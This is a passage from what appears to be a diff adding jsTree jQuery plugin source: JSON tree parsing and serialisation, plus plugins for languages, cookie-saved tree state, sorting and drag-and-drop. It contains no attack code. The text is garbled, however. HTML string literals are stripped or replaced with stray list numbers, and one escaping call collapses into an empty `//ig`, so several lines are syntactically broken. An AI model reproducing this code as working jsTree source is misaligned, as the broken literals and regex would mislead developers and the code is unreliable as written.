is_callback) { + var d = false, + p = this._get_settings(), + s = p.json_data, + t = p.core.html_titles, + tmp, i, j, ul1, ul2; + + if(!js) { return d; } + if(s.progressive_unload && obj && obj !== -1) { + obj.data("jstree-children", d); + } + if($.isArray(js)) { + d = $(); + if(!js.length) { return false; } + for(i = 0, j = js.length; i < j; i++) { + tmp = this._parse_json(js[i], obj, true); + if(tmp.length) { d = d.add(tmp); } + } + } + else { + if(typeof js == "string") { js = { data : js }; } + if(!js.data && js.data !== "") { return d; } + d = $("
                  3. "); + if(js.attr) { d.attr(js.attr); } + if(js.metadata) { d.data(js.metadata); } + if(js.state) { d.addClass("jstree-" + js.state); } + if(!$.isArray(js.data)) { tmp = js.data; js.data = []; js.data.push(tmp); } + $.each(js.data, function (i, m) { + tmp = $(""); + if($.isFunction(m)) { m = m.call(this, js); } + if(typeof m == "string") { tmp.attr('href','#')[ t ? "html" : "text" ](m); } + else { + if(!m.attr) { m.attr = {}; } + if(!m.attr.href) { m.attr.href = '#'; } + tmp.attr(m.attr)[ t ? "html" : "text" ](m.title); + if(m.language) { tmp.addClass(m.language); } + } + tmp.prepend(" "); + if(!m.icon && js.icon) { m.icon = js.icon; } + if(m.icon) { + if(m.icon.indexOf("/") === -1) { tmp.children("ins").addClass(m.icon); } + else { tmp.children("ins").css("background","url('" + m.icon + "') center center no-repeat"); } + } + d.append(tmp); + }); + d.prepend(" "); + if(js.children) { + if(s.progressive_render && js.state !== "open") { + d.addClass("jstree-closed").data("jstree-children", js.children); + } + else { + if(s.progressive_unload) { d.data("jstree-children", js.children); } + if($.isArray(js.children) && js.children.length) { + tmp = this._parse_json(js.children, obj, true); + if(tmp.length) { + ul2 = $("
                      "); + ul2.append(tmp); + d.append(ul2); + } + } + } + } + } + if(!is_callback) { + ul1 = $("
                        "); + ul1.append(d); + d = ul1; + } + return d; + }, + get_json : function (obj, li_attr, a_attr, is_callback) { + var result = [], + s = this._get_settings(), + _this = this, + tmp1, tmp2, li, a, t, lang; + obj = this._get_node(obj); + if(!obj || obj === -1) { obj = this.get_container().find("> ul > li"); } + li_attr = $.isArray(li_attr) ? li_attr : [ "id", "class" ]; + if(!is_callback && this.data.types) { li_attr.push(s.types.type_attr); } + a_attr = $.isArray(a_attr) ? a_attr : [ ]; + + obj.each(function () { + li = $(this); + tmp1 = { data : [] }; + if(li_attr.length) { tmp1.attr = { }; } + $.each(li_attr, function (i, v) { + tmp2 = li.attr(v); + if(tmp2 && tmp2.length && tmp2.replace(/jstree[^ ]*/ig,'').length) { + tmp1.attr[v] = (" " + tmp2).replace(/ jstree[^ ]*/ig,'').replace(/\s+$/ig," ").replace(/^ /,"").replace(/ $/,""); + } + }); + if(li.hasClass("jstree-open")) { tmp1.state = "open"; } + if(li.hasClass("jstree-closed")) { tmp1.state = "closed"; } + if(li.data()) { tmp1.metadata = li.data(); } + a = li.children("a"); + a.each(function () { + t = $(this); + if( + a_attr.length || + $.inArray("languages", s.plugins) !== -1 || + t.children("ins").get(0).style.backgroundImage.length || + (t.children("ins").get(0).className && t.children("ins").get(0).className.replace(/jstree[^ ]*|$/ig,'').length) + ) { + lang = false; + if($.inArray("languages", s.plugins) !== -1 && $.isArray(s.languages) && s.languages.length) { + $.each(s.languages, function (l, lv) { + if(t.hasClass(lv)) { + lang = lv; + return false; + } + }); + } + tmp2 = { attr : { }, title : _this.get_text(t, lang) }; + $.each(a_attr, function (k, z) { + tmp2.attr[z] = (" " + (t.attr(z) || "")).replace(/ jstree[^ ]*/ig,'').replace(/\s+$/ig," ").replace(/^ /,"").replace(/ $/,""); + }); + if($.inArray("languages", s.plugins) !== -1 && $.isArray(s.languages) && s.languages.length) { + $.each(s.languages, function (k, z) { + if(t.hasClass(z)) { tmp2.language = z; return true; } + }); + } + if(t.children("ins").get(0).className.replace(/jstree[^ ]*|$/ig,'').replace(/^\s+$/ig,"").length) { + tmp2.icon = t.children("ins").get(0).className.replace(/jstree[^ ]*|$/ig,'').replace(/\s+$/ig," ").replace(/^ /,"").replace(/ $/,""); + } + if(t.children("ins").get(0).style.backgroundImage.length) { + tmp2.icon = t.children("ins").get(0).style.backgroundImage.replace("url(","").replace(")",""); + } + } + else { + tmp2 = _this.get_text(t); + } + if(a.length > 1) { tmp1.data.push(tmp2); } + else { tmp1.data = tmp2; } + }); + li = li.find("> ul > li"); + if(li.length) { tmp1.children = _this.get_json(li, li_attr, a_attr, true); } + result.push(tmp1); + }); + return result; + } + } + }); +})(jQuery); +//*/ + +/* + * jsTree languages plugin + * Adds support for multiple language versions in one tree + * This basically allows for many titles coexisting in one node, but only one of them being visible at any given time + * This is useful for maintaining the same structure in many languages (hence the name of the plugin) + */ +(function ($) { + $.jstree.plugin("languages", { + __init : function () { this._load_css(); }, + defaults : [], + _fn : { + set_lang : function (i) { + var langs = this._get_settings().languages, + st = false, + selector = ".jstree-" + this.get_index() + ' a'; + if(!$.isArray(langs) || langs.length === 0) { return false; } + if($.inArray(i,langs) == -1) { + if(!!langs[i]) { i = langs[i]; } + else { return false; } + } + if(i == this.data.languages.current_language) { return true; } + st = $.vakata.css.get_css(selector + "." + this.data.languages.current_language, false, this.data.languages.language_css); + if(st !== false) { st.style.display = "none"; } + st = $.vakata.css.get_css(selector + "." + i, false, this.data.languages.language_css); + if(st !== false) { st.style.display = ""; } + this.data.languages.current_language = i; + this.__callback(i); + return true; + }, + get_lang : function () { + return this.data.languages.current_language; + }, + _get_string : function (key, lang) { + var langs = this._get_settings().languages, + s = this._get_settings().core.strings; + if($.isArray(langs) && langs.length) { + lang = (lang && $.inArray(lang,langs) != -1) ? lang : this.data.languages.current_language; + } + if(s[lang] && s[lang][key]) { return s[lang][key]; } + if(s[key]) { return s[key]; } + return key; + }, + get_text : function (obj, lang) { + obj = this._get_node(obj) || this.data.ui.last_selected; + if(!obj.size()) { return false; } + var langs = this._get_settings().languages, + s = this._get_settings().core.html_titles; + if($.isArray(langs) && langs.length) { + lang = (lang && $.inArray(lang,langs) != -1) ? lang : this.data.languages.current_language; + obj = obj.children("a." + lang); + } + else { obj = obj.children("a:eq(0)"); } + if(s) { + obj = obj.clone(); + obj.children("INS").remove(); + return obj.html(); + } + else { + obj = obj.contents().filter(function() { return this.nodeType == 3; })[0]; + return obj.nodeValue; + } + }, + set_text : function (obj, val, lang) { + obj = this._get_node(obj) || this.data.ui.last_selected; + if(!obj.size()) { return false; } + var langs = this._get_settings().languages, + s = this._get_settings().core.html_titles, + tmp; + if($.isArray(langs) && langs.length) { + lang = (lang && $.inArray(lang,langs) != -1) ? lang : this.data.languages.current_language; + obj = obj.children("a." + lang); + } + else { obj = obj.children("a:eq(0)"); } + if(s) { + tmp = obj.children("INS").clone(); + obj.html(val).prepend(tmp); + this.__callback({ "obj" : obj, "name" : val, "lang" : lang }); + return true; + } + else { + obj = obj.contents().filter(function() { return this.nodeType == 3; })[0]; + this.__callback({ "obj" : obj, "name" : val, "lang" : lang }); + return (obj.nodeValue = val); + } + }, + _load_css : function () { + var langs = this._get_settings().languages, + str = "/* languages css */", + selector = ".jstree-" + this.get_index() + ' a', + ln; + if($.isArray(langs) && langs.length) { + this.data.languages.current_language = langs[0]; + for(ln = 0; ln < langs.length; ln++) { + str += selector + "." + langs[ln] + " {"; + if(langs[ln] != this.data.languages.current_language) { str += " display:none; "; } + str += " } "; + } + this.data.languages.language_css = $.vakata.css.add_sheet({ 'str' : str, 'title' : "jstree-languages" }); + } + }, + create_node : function (obj, position, js, callback) { + var t = this.__call_old(true, obj, position, js, function (t) { + var langs = this._get_settings().languages, + a = t.children("a"), + ln; + if($.isArray(langs) && langs.length) { + for(ln = 0; ln < langs.length; ln++) { + if(!a.is("." + langs[ln])) { + t.append(a.eq(0).clone().removeClass(langs.join(" ")).addClass(langs[ln])); + } + } + a.not("." + langs.join(", .")).remove(); + } + if(callback) { callback.call(this, t); } + }); + return t; + } + } + }); +})(jQuery); +//*/ + +/* + * jsTree cookies plugin + * Stores the currently opened/selected nodes in a cookie and then restores them + * Depends on the jquery.cookie plugin + */ +(function ($) { + $.jstree.plugin("cookies", { + __init : function () { + if(typeof $.cookie === "undefined") { throw "jsTree cookie: jQuery cookie plugin not included."; } + + var s = this._get_settings().cookies, + tmp; + if(!!s.save_loaded) { + tmp = $.cookie(s.save_loaded); + if(tmp && tmp.length) { this.data.core.to_load = tmp.split(","); } + } + if(!!s.save_opened) { + tmp = $.cookie(s.save_opened); + if(tmp && tmp.length) { this.data.core.to_open = tmp.split(","); } + } + if(!!s.save_selected) { + tmp = $.cookie(s.save_selected); + if(tmp && tmp.length && this.data.ui) { this.data.ui.to_select = tmp.split(","); } + } + this.get_container() + .one( ( this.data.ui ? "reselect" : "reopen" ) + ".jstree", $.proxy(function () { + this.get_container() + .bind("open_node.jstree close_node.jstree select_node.jstree deselect_node.jstree", $.proxy(function (e) { + if(this._get_settings().cookies.auto_save) { this.save_cookie((e.handleObj.namespace + e.handleObj.type).replace("jstree","")); } + }, this)); + }, this)); + }, + defaults : { + save_loaded : "jstree_load", + save_opened : "jstree_open", + save_selected : "jstree_select", + auto_save : true, + cookie_options : {} + }, + _fn : { + save_cookie : function (c) { + if(this.data.core.refreshing) { return; } + var s = this._get_settings().cookies; + if(!c) { // if called manually and not by event + if(s.save_loaded) { + this.save_loaded(); + $.cookie(s.save_loaded, this.data.core.to_load.join(","), s.cookie_options); + } + if(s.save_opened) { + this.save_opened(); + $.cookie(s.save_opened, this.data.core.to_open.join(","), s.cookie_options); + } + if(s.save_selected && this.data.ui) { + this.save_selected(); + $.cookie(s.save_selected, this.data.ui.to_select.join(","), s.cookie_options); + } + return; + } + switch(c) { + case "open_node": + case "close_node": + if(!!s.save_opened) { + this.save_opened(); + $.cookie(s.save_opened, this.data.core.to_open.join(","), s.cookie_options); + } + if(!!s.save_loaded) { + this.save_loaded(); + $.cookie(s.save_loaded, this.data.core.to_load.join(","), s.cookie_options); + } + break; + case "select_node": + case "deselect_node": + if(!!s.save_selected && this.data.ui) { + this.save_selected(); + $.cookie(s.save_selected, this.data.ui.to_select.join(","), s.cookie_options); + } + break; + } + } + } + }); + // include cookies by default + // $.jstree.defaults.plugins.push("cookies"); +})(jQuery); +//*/ + +/* + * jsTree sort plugin + * Sorts items alphabetically (or using any other function) + */ +(function ($) { + $.jstree.plugin("sort", { + __init : function () { + this.get_container() + .bind("load_node.jstree", $.proxy(function (e, data) { + var obj = this._get_node(data.rslt.obj); + obj = obj === -1 ? this.get_container().children("ul") : obj.children("ul"); + this.sort(obj); + }, this)) + .bind("rename_node.jstree create_node.jstree create.jstree", $.proxy(function (e, data) { + this.sort(data.rslt.obj.parent()); + }, this)) + .bind("move_node.jstree", $.proxy(function (e, data) { + var m = data.rslt.np == -1 ? this.get_container() : data.rslt.np; + this.sort(m.children("ul")); + }, this)); + }, + defaults : function (a, b) { return this.get_text(a) > this.get_text(b) ? 1 : -1; }, + _fn : { + sort : function (obj) { + var s = this._get_settings().sort, + t = this; + obj.append($.makeArray(obj.children("li")).sort($.proxy(s, t))); + obj.find("> li > ul").each(function() { t.sort($(this)); }); + this.clean_node(obj); + } + } + }); +})(jQuery); +//*/ + +/* + * jsTree DND plugin + * Drag and drop plugin for moving/copying nodes + */ +(function ($) { + var o = false, + r = false, + m = false, + ml = false, + sli = false, + sti = false, + dir1 = false, + dir2 = false, + last_pos = false; + $.vakata.dnd = { + is_down : false, + is_drag : false, + helper : false, + scroll_spd : 10, + init_x : 0, + init_y : 0, + threshold : 5, + helper_left : 5, + helper_top : 10, + user_data : {}, + + drag_start : function (e, data, html) { + if($.vakata.dnd.is_drag) { $.vakata.drag_stop({}); } + try { + e.currentTarget.unselectable = "on"; + e.currentTarget.onselectstart = function() { return false; }; + if(e.currentTarget.style) { e.currentTarget.style.MozUserSelect = "none"; } + } catch(err) { } + $.vakata.dnd.init_x = e.pageX; + $.vakata.dnd.init_y = e.pageY; + $.vakata.dnd.user_data = data; + $.vakata.dnd.is_down = true; + $.vakata.dnd.helper = $("
                        ").html(html); //.fadeTo(10,0.25); + $(document).bind("mousemove", $.vakata.dnd.drag); + $(document).bind("mouseup", $.vakata.dnd.drag_stop); + return false; + }, + drag : function (e) { + if(!$.vakata.dnd.is_down) { return; } + if(!$.vakata.dnd.is_drag) { + if(Math.abs(e.pageX - $.vakata.dnd.init_x) > 5 || Math.abs(e.pageY - $.vakata.dnd.init_y) > 5) { + $.vakata.dnd.helper.appendTo("body"); + $.vakata.dnd.is_drag = true; + $(document).triggerHandler("drag_start.vakata", { "event" : e, "data" : $.vakata.dnd.user_data }); + } + else { return; } + } + + // maybe use a scrolling parent element instead of document? + if(e.type === "mousemove") { // thought of adding scroll in order to move the helper, but mouse poisition is n/a + var d = $(document), t = d.scrollTop(), l = d.scrollLeft(); + if(e.pageY - t < 20) { + if(sti && dir1 === "down") { clearInterval(sti); sti = false; } + if(!sti) { dir1 = "up"; sti = setInterval(function () { $(document).scrollTop($(document).scrollTop() - $.vakata.dnd.scroll_spd); }, 150); } + } + else { + if(sti && dir1 === "up") { clearInterval(sti); sti = false; } + } + if($(window).height() - (e.pageY - t) < 20) { + if(sti && dir1 === "up") { clearInterval(sti); sti = false; } + if(!sti) { dir1 = "down"; sti = setInterval(function () { $(document).scrollTop($(document).scrollTop() + $.vakata.dnd.scroll_spd); }, 150); } + } + else { + if(sti && dir1 === "down") { clearInterval(sti); sti = false; } + } + + if(e.pageX - l < 20) { + if(sli && dir2 === "right") { clearInterval(sli); sli = false; } + if(!sli) { dir2 = "left"; sli = setInterval(function () { $(document).scrollLeft($(document).scrollLeft() - $.vakata.dnd.scroll_spd); }, 150); } + } + else { + if(sli && dir2 === "left") { clearInterval(sli); sli = false; } + } + if($(window).width() - (e.pageX - l) < 20) { + if(sli && dir2 === "left") { clearInterval(sli); sli = false; } + if(!sli) { dir2 = "right"; sli = setInterval(function () { $(document).scrollLeft($(document).scrollLeft() + $.vakata.dnd.scroll_spd); }, 150); } + } + else { + if(sli && dir2 === "right") { clearInterval(sli); sli = false; } + } + } + + $.vakata.dnd.helper.css({ left : (e.pageX + $.vakata.dnd.helper_left) + "px", top : (e.pageY + $.vakata.dnd.helper_top) + "px" }); + $(document).triggerHandler("drag.vakata", { "event" : e, "data" : $.vakata.dnd.user_data }); + }, + drag_stop : function (e) { + if(sli) { clearInterval(sli); } + if(sti) { clearInterval(sti); } + $(document).unbind("mousemove", $.vakata.dnd.drag); + $(document).unbind("mouseup", $.vakata.dnd.drag_stop); + $(document).triggerHandler("drag_stop.vakata", { "event" : e, "data" : $.vakata.dnd.user_data }); + $.vakata.dnd.helper.remove(); + $.vakata.dnd.init_x = 0; + $.vakata.dnd.init_y = 0; + $.vakata.dnd.user_data = {}; + $.vakata.dnd.is_down = false; + $.vakata.dnd.is_drag = false; + } + }; + $(function() { + var css_string = '#vakata-dragged { display:block; margin:0 0 0 0; padding:4px 4px 4px 24px; position:absolute; top:-2000px; line-height:16px; z-index:10000; } '; + $.vakata.css.add_sheet({ str : css_string, title : "vakata" }); + }); + + $.jstree.plugin("dnd", { + __init : function () { + this.data.dnd = { + active : false, + after : false, + inside : false, + before : false, + off : false, + prepared : false, + w : 0, + to1 : false, + to2 : false, + cof : false, + cw : false, + ch : false, + i1 : false, + i2 : false, + mto : false + }; + this.get_container() + .bind("mouseenter.jstree", $.proxy(function (e) { + if($.vakata.dnd.is_drag && $.vakata.dnd.user_data.jstree) { + if(this.data.themes) { + m.attr("class", "jstree-" + this.data.themes.theme); + if(ml) { ml.attr("class", "jstree-" + this.data.themes.theme); } + $.vakata.dnd.helper.attr("class", "jstree-dnd-helper jstree-" + this.data.themes.theme); + } + //if($(e.currentTarget).find("> ul > li").length === 0) { + if(e.currentTarget === e.target && $.vakata.dnd.user_data.obj && $($.vakata.dnd.user_data.obj).length && $($.vakata.dnd.user_data.obj).parents(".jstree:eq(0)")[0] !== e.target) { // node should not be from the same tree + var tr = $.jstree._reference(e.target), dc; + if(tr.data.dnd.foreign) { + dc = tr._get_settings().dnd.drag_check.call(this, { "o" : o, "r" : tr.get_container(), is_root : true }); + if(dc === true || dc.inside === true || dc.before === true || dc.after === true) { + $.vakata.dnd.helper.children("ins").attr("class","jstree-ok"); + } + } + else { + tr.prepare_move(o, tr.get_container(), "last"); + if(tr.check_move()) { + $.vakata.dnd.helper.children("ins").attr("class","jstree-ok"); + } + } + } + } + }, this)) + .bind("mouseup.jstree", $.proxy(function (e) { + //if($.vakata.dnd.is_drag && $.vakata.dnd.user_data.jstree && $(e.currentTarget).find("> ul > li").length === 0) { + if($.vakata.dnd.is_drag && $.vakata.dnd.user_data.jstree && e.currentTarget === e.target && $.vakata.dnd.user_data.obj && $($.vakata.dnd.user_data.obj).length && $($.vakata.dnd.user_data.obj).parents(".jstree:eq(0)")[0] !== e.target) { // node should not be from the same tree + var tr = $.jstree._reference(e.currentTarget), dc; + if(tr.data.dnd.foreign) { + dc = tr._get_settings().dnd.drag_check.call(this, { "o" : o, "r" : tr.get_container(), is_root : true }); + if(dc === true || dc.inside === true || dc.before === true || dc.after === true) { + tr._get_settings().dnd.drag_finish.call(this, { "o" : o, "r" : tr.get_container(), is_root : true }); + } + } + else { + tr.move_node(o, tr.get_container(), "last", e[tr._get_settings().dnd.copy_modifier + "Key"]); + } + } + }, this)) + .bind("mouseleave.jstree", $.proxy(function (e) { + if(e.relatedTarget && e.relatedTarget.id && e.relatedTarget.id === "jstree-marker-line") { + return false; + } + if($.vakata.dnd.is_drag && $.vakata.dnd.user_data.jstree) { + if(this.data.dnd.i1) { clearInterval(this.data.dnd.i1); } + if(this.data.dnd.i2) { clearInterval(this.data.dnd.i2); } + if(this.data.dnd.to1) { clearTimeout(this.data.dnd.to1); } + if(this.data.dnd.to2) { clearTimeout(this.data.dnd.to2); } + if($.vakata.dnd.helper.children("ins").hasClass("jstree-ok")) { + $.vakata.dnd.helper.children("ins").attr("class","jstree-invalid"); + } + } + }, this)) + .bind("mousemove.jstree", $.proxy(function (e) { + if($.vakata.dnd.is_drag && $.vakata.dnd.user_data.jstree) { + var cnt = this.get_container()[0]; + + // Horizontal scroll + if(e.pageX + 24 > this.data.dnd.cof.left + this.data.dnd.cw) { + if(this.data.dnd.i1) { clearInterval(this.data.dnd.i1); } + this.data.dnd.i1 = setInterval($.proxy(function () { this.scrollLeft += $.vakata.dnd.scroll_spd; }, cnt), 100); + } + else if(e.pageX - 24 < this.data.dnd.cof.left) { + if(this.data.dnd.i1) { clearInterval(this.data.dnd.i1); } + this.data.dnd.i1 = setInterval($.proxy(function () { this.scrollLeft -= $.vakata.dnd.scroll_spd; }, cnt), 100); + } + else { + if(this.data.dnd.i1) { clearInterval(this.data.dnd.i1); } + } + + // Vertical scroll + if(e.pageY + 24 > this.data.dnd.cof.top + this.data.dnd.ch) { + if(this.data.dnd.i2) { clearInterval(this.data.dnd.i2); } + this.data.dnd.i2 = setInterval($.proxy(function () { this.scrollTop += $.vakata.dnd.scroll_spd; }, cnt), 100); + } + else if(e.pageY - 24 < this.data.dnd.cof.top) { + if(this.data.dnd.i2) { clearInterval(this.data.dnd.i2); } + this.data.dnd.i2 = setInterval($.proxy(function () { this.scrollTop -= $.vakata.dnd.scroll_spd; }, cnt), 100); + } + else { + if(this.data.dnd.i2) { clearInterval(this.data.dnd.i2); } + } + + } + }, this)) + .bind("scroll.jstree", $.proxy(function (e) { + if($.vakata.dnd.is_drag && $.vakata.dnd.user_data.jstree && m && ml) { + m.hide(); + ml.hide(); + } + }, this)) + .delegate("a", "mousedown.jstree", $.proxy(function (e) { + if(e.which === 1) { + this.start_drag(e.currentTarget, e); + return false; + } + }, this)) + .delegate("a", "mouseenter.jstree", $.proxy(function (e) { + if($.vakata.dnd.is_drag && $.vakata.dnd.user_data.jstree) { + this.dnd_enter(e.currentTarget); + } + }, this)) + .delegate("a", "mousemove.jstree", $.proxy(function (e) { + if($.vakata.dnd.is_drag && $.vakata.dnd.user_data.jstree) { + if(!r || !r.length || r.children("a")[0] !== e.currentTarget) { + this.dnd_enter(e.currentTarget); + } + if(typeof this.data.dnd.off.top === "undefined") { this.data.dnd.off = $(e.target).offset(); } + this.data.dnd.w = (e.pageY - (this.data.dnd.off.top || 0)) % this.data.core.li_height; + if(this.data.dnd.w < 0) { this.data.dnd.w += this.data.core.li_height; } + this.dnd_show(); + } + }, this)) + .delegate("a", "mouseleave.jstree", $.proxy(function (e) { + if($.vakata.dnd.is_drag && $.vakata.dnd.user_data.jstree) { + if(e.relatedTarget && e.relatedTarget.id && e.relatedTarget.id === "jstree-marker-line") { + return false; + } + if(m) { m.hide(); } + if(ml) { ml.hide(); } + /* + var ec = $(e.currentTarget).closest("li"), + er = $(e.relatedTarget).closest("li"); + if(er[0] !== ec.prev()[0] && er[0] !== ec.next()[0]) { + if(m) { m.hide(); } + if(ml) { ml.hide(); } + } + */ + this.data.dnd.mto = setTimeout( + (function (t) { return function () { t.dnd_leave(e); }; })(this), + 0); + } + }, this)) + .delegate("a", "mouseup.jstree", $.proxy(function (e) { + if($.vakata.dnd.is_drag && $.vakata.dnd.user_data.jstree) { + this.dnd_finish(e); + } + }, this)); + + $(document) + .bind("drag_stop.vakata", $.proxy(function () { + if(this.data.dnd.to1) { clearTimeout(this.data.dnd.to1); } + if(this.data.dnd.to2) { clearTimeout(this.data.dnd.to2); } + if(this.data.dnd.i1) { clearInterval(this.data.dnd.i1); } + if(this.data.dnd.i2) { clearInterval(this.data.dnd.i2); } + this.data.dnd.after = false; + this.data.dnd.before = false; + this.data.dnd.inside = false; + this.data.dnd.off = false; + this.data.dnd.prepared = false; + this.data.dnd.w = false; + this.data.dnd.to1 = false; + this.data.dnd.to2 = false; + this.data.dnd.i1 = false; + this.data.dnd.i2 = false; + this.data.dnd.active = false; + this.data.dnd.foreign = false; + if(m) { m.css({ "top" : "-2000px" }); } + if(ml) { ml.css({ "top" : "-2000px" }); } + }, this)) + .bind("drag_start.vakata", $.proxy(function (e, data) { + if(data.data.jstree) { + var et = $(data.event.target); + if(et.closest(".jstree").hasClass("jstree-" + this.get_index())) { + this.dnd_enter(et); + } + } + }, this)); + /* + .bind("keydown.jstree-" + this.get_index() + " keyup.jstree-" + this.get_index(), $.proxy(function(e) { + if($.vakata.dnd.is_drag && $.vakata.dnd.user_data.jstree && !this.data.dnd.foreign) { + var h = $.vakata.dnd.helper.children("ins"); + if(e[this._get_settings().dnd.copy_modifier + "Key"] && h.hasClass("jstree-ok")) { + h.parent().html(h.parent().html().replace(/ \(Copy\)$/, "") + " (Copy)"); + } + else { + h.parent().html(h.parent().html().replace(/ \(Copy\)$/, "")); + } + } + }, this)); */ + + + + var s = this._get_settings().dnd; + if(s.drag_target) { + $(document) + .delegate(s.drag_target, "mousedown.jstree-" + this.get_index(), $.proxy(function (e) { + o = e.target; + $.vakata.dnd.drag_start(e, { jstree : true, obj : e.target }, "" + $(e.target).text() ); + if(this.data.themes) { + if(m) { m.attr("class", "jstree-" + this.data.themes.theme); } + if(ml) { ml.attr("class", "jstree-" + this.data.themes.theme); } + $.vakata.dnd.helper.attr("class", "jstree-dnd-helper jstree-" + this.data.themes.theme); + } + $.vakata.dnd.helper.children("ins").attr("class","jstree-invalid"); + var cnt = this.get_container(); + this.data.dnd.cof = cnt.offset(); + this.data.dnd.cw = parseInt(cnt.width(),10); + this.data.dnd.ch = parseInt(cnt.height(),10); + this.data.dnd.foreign = true; + e.preventDefault(); + }, this)); + } + if(s.drop_target) { + $(document) + .delegate(s.drop_target, "mouseenter.jstree-" + this.get_index(), $.proxy(function (e) { + if(this.data.dnd.active && this._get_settings().dnd.drop_check.call(this, { "o" : o, "r" : $(e.target), "e" : e })) { + $.vakata.dnd.helper.children("ins").attr("class","jstree-ok"); + } + }, this)) + .delegate(s.drop_target, "mouseleave.jstree-" + this.get_index(), $.proxy(function (e) { + if(this.data.dnd.active) { + $.vakata.dnd.helper.children("ins").attr("class","jstree-invalid"); + } + }, this)) + .delegate(s.drop_target, "mouseup.jstree-" + this.get_index(), $.proxy(function (e) { + if(this.data.dnd.active && $.vakata.dnd.helper.children("ins").hasClass("jstree-ok")) { + this._get_settings().dnd.drop_finish.call(this, { "o" : o, "r" : $(e.target), "e" : e }); + } + }, this)); + } + }, + defaults : { + copy_modifier : "ctrl", + check_timeout : 100, + open_timeout : 500, + drop_target : ".jstree-drop", + drop_check : function (data) { return true; }, + drop_finish : $.noop, + drag_target : ".jstree-draggable", + drag_finish : $.noop, + drag_check : function (data) { return { after : false, before : false, inside : true }; } + }, + _fn : { + dnd_prepare : function () { + if(!r || !r.length) { return; } + this.data.dnd.off = r.offset(); + if(this._get_settings().core.rtl) { + this.data.dnd.off.right = this.data.dnd.off.left + r.width(); + } + if(this.data.dnd.foreign) { + var a = this._get_settings().dnd.drag_check.call(this, { "o" : o, "r" : r }); + this.data.dnd.after = a.after; + this.data.dnd.before = a.before; + this.data.dnd.inside = a.inside; + this.data.dnd.prepared = true; + return this.dnd_show(); + } + this.prepare_move(o, r, "before"); + this.data.dnd.before = this.check_move(); + this.prepare_move(o, r, "after"); + this.data.dnd.after = this.check_move(); + if(this._is_loaded(r)) { + this.prepare_move(o, r, "inside"); + this.data.dnd.inside = this.check_move(); + } + else { + this.data.dnd.inside = false; + } + this.data.dnd.prepared = true; + return this.dnd_show(); + }, + dnd_show : function () { + if(!this.data.dnd.prepared) { return; } + var o = ["before","inside","after"], + r = false, + rtl = this._get_settings().core.rtl, + pos; + if(this.data.dnd.w < this.data.core.li_height/3) { o = ["before","inside","after"]; } + else if(this.data.dnd.w <= this.data.core.li_height*2/3) { + o = this.data.dnd.w < this.data.core.li_height/2 ? ["inside","before","after"] : ["inside","after","before"]; + } + else { o = ["after","inside","before"]; } + $.each(o, $.proxy(function (i, val) { + if(this.data.dnd[val]) { + $.vakata.dnd.helper.children("ins").attr("class","jstree-ok"); + r = val; + return false; + } + }, this)); + if(r === false) { $.vakata.dnd.helper.children("ins").attr("class","jstree-invalid"); } + + pos = rtl ? (this.data.dnd.off.right - 18) : (this.data.dnd.off.left + 10); + switch(r) { + case "before": + m.css({ "left" : pos + "px", "top" : (this.data.dnd.off.top - 6) + "px" }).show(); + if(ml) { ml.css({ "left" : (pos + 8) + "px", "top" : (this.data.dnd.off.top - 1) + "px" }).show(); } + break; + case "after": + m.css({ "left" : pos + "px", "top" : (this.data.dnd.off.top + this.data.core.li_height - 6) + "px" }).show(); + if(ml) { ml.css({ "left" : (pos + 8) + "px", "top" : (this.data.dnd.off.top + this.data.core.li_height - 1) + "px" }).show(); } + break; + case "inside": + m.css({ "left" : pos + ( rtl ? -4 : 4) + "px", "top" : (this.data.dnd.off.top + this.data.core.li_height/2 - 5) + "px" }).show(); + if(ml) { ml.hide(); } + break; + default: + m.hide(); + if(ml) { ml.hide(); } + break; + } + last_pos = r; + return r; + }, + dnd_open : function () { + this.data.dnd.to2 = false; + this.open_node(r, $.proxy(this.dnd_prepare,this), true); + }, + dnd_finish : function (e) { + if(this.data.dnd.foreign) { + if(this.data.dnd.after || this.data.dnd.before || this.data.dnd.inside) { + this._get_settings().dnd.drag_finish.call(this, { "o" : o, "r" : r, "p" : last_pos }); + } + } + else { + this.dnd_prepare(); + this.move_node(o, r, last_pos, e[this._get_settings().dnd.copy_modifier + "Key"]); + } + o = false; + r = false; + m.hide(); + if(ml) { ml.hide(); } + }, + dnd_enter : function (obj) { + if(this.data.dnd.mto) { + clearTimeout(this.data.dnd.mto); + this.data.dnd.mto = false; + } + var s = this._get_settings().dnd; + this.data.dnd.prepared = false; + r = this._get_node(obj); + if(s.check_timeout) { + // do the calculations after a minimal timeout (users tend to drag quickly to the desired location) + if(this.data.dnd.to1) { clearTimeout(this.data.dnd.to1); } + this.data.dnd.to1 = setTimeout($.proxy(this.dnd_prepare, this), s.check_timeout); + } + else { + this.dnd_prepare(); + } + if(s.open_timeout) { + if(this.data.dnd.to2) { clearTimeout(this.data.dnd.to2); } + if(r && r.length && r.hasClass("jstree-closed")) { + // if the node is closed - open it, then recalculate + this.data.dnd.to2 = setTimeout($.proxy(this.dnd_open, this), s.open_timeout); + } + } + else { + if(r && r.length && r.hasClass("jstree-closed")) { + this.dnd_open(); + } + } + }, + dnd_leave : function (e) { + this.data.dnd.after = false; + this.data.dnd.before = false; + this.data.dnd.inside = false; + $.vakata.dnd.helper.children("ins").attr("class","jstree-invalid"); + m.hide(); + if(ml) { ml.hide(); } + if(r && r[0] === e.target.parentNode) { + if(this.data.dnd.to1) { + clearTimeout(this.data.dnd.to1); + this.data.dnd.to1 = false; + } + if(this.data.dnd.to2) { + clearTimeout(this.data.dnd.to2); + this.data.dnd.to2 = false; + } + } + }, + start_drag : function (obj, e) { + o = this._get_node(obj); + if(this.data.ui && this.is_selected(o)) { o = this._get_node(null, true); } + var dt = o.length > 1 ? this._get_string("multiple_selection") : this.get_text(o), + cnt = this.get_container(); + if(!this._get_settings().core.html_titles) { dt = dt.replace(//ig,">"); } + $.vakata.dnd.drag_start(e, { jstree : true, obj : o }, "" + dt ); + if(this.data.themes) { + if(m) { m.attr("class", "jstree-" + this.data.themes.theme); } + if(ml) { ml.attr("class", "jstree-" + this.data.themes.theme); } + $.vakata.dnd.helper.attr("class", "jstree-dnd-helper jstree-" + this.data.themes.theme); + } + this.data.dnd.cof = cnt.offset(); + this.data.dnd.cw = parseInt(cnt.width(),10); + this.data.dnd.ch = parseInt(cnt.height(),10); + this.data.dnd.active = true; + } + } + }); + $(function() { + var css_string = '' + + '#vakata-dragged ins { display:block; text-decoration:none; width:16px; height:16px; margin:0 0 0 0; padding:0; position:absolute; top:4px; left:4px; ' + + ' -moz-border-radius:4px; border-radius:4px; -webkit-border-radius:4px; ' + + '} ' + + '#vakata-dragged 